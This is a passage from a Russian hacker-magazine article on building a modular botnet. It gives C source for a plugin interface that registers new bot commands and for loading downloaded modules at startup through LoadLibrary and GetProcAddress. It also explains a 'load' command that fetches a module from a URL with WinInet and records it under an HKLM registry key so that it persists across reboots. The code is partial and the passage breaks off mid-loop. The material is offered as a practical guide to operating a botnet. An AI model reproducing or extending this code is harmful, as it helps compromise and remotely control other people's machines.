Умный ботнет Николай «GorluM» Андреев Хакер, номер #076, стр. 076-112-4 __declspec(dllexport) BOOL WINAPI InitModule ( BOOL (*a)(char *, ServiceParser), ServiceParser (*b)(char*), BOOL (*c)(char *), BOOL (*d)(char *)) { RegisterBotnetService = a; GetBotnetService = b; IsBotnetService = c; UnregisterBotnetService = d; RegisterBotnetService(“message”, MessageServiceParser); return TRUE; } // Функция-парсер для команды message BOOL WINAPI MessageServiceParser (PSTR szString) {MessageBox(0,szString,szString,0); return TRUE;} Подгружаем модуль к каждому боту в сети, передаем адреса сервис-функций через InitModule, регистрируем новую команду. И все – дело сделано: обучили ботнет чему-то новому. Одно только НО – как подгружаем-то? Ведь я так и не показал, как реализовать команду load, так активно юзаемую в начале статьи. Сейчас исправлюсь. load должна иметь два параметра – имя модуля в системе и линк, откуда этот модуль можно скачать. Опираясь на это, надо написать функцию-парсер. Она - отделит параметры, скачает нужный модуль с линка, запишет его в реестре, подгрузит к боту, а затем найдет и запустит InitModule. Честно говоря, в итоге получается достаточно громоздкий код, приводить который я здесь не буду, но детали объясню. Скачать модуль можно с помощью уже привычного нам WinInet API. Но что значит «записать в реестре»? Просто информацию о скаченных модулях надо куда-то сохранить, чтобы после перезагрузки системы бот не забыл все, чему его так долго обучали. Оптимальное место для хранения подобной инфы – это реестр. В нем я отвел для наших модулей специальное место, ключ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\botModules. Там через точку с запятой будут располагаться имена файлов скаченных плагинов для бота. Когда бот при старте захочет подгрузить свои плагины, ему будет достаточно открыть наш ключ с помощью функций работы с реестром (RegCreateKey, RegQueryValueEx etc) и пропарсить его содержимое. if (RegCreateKey(HKEY_LOCAL_MACHINE, REG_KEY, &hk)) return FALSE; if(RegQueryValueEx(hk, REG_SUBKEY, 0, 0, (LPBYTE)szRegEntry, &dwBytes)) { RegCloseKey(hk); return FALSE; } // получили запись в реестре, парсим char *sep = ";"; // разделитель char *lim = szRegEntry + lstrlen(szRegEntry); char *token; token = ParseInit(szRegEntry, sep, lim); if (!token) { RegCloseKey(hk); return FALSE; } do { // подгружаю модуль HMODULE hModule = LoadLibrary(token); if (!hModule) continue; // нахожу функцию LoadFunction InitModule = (LoadFunction) GetProcAddress(hModule, " InitModule"); if (!InitModule) continue; // иниализирую модуль |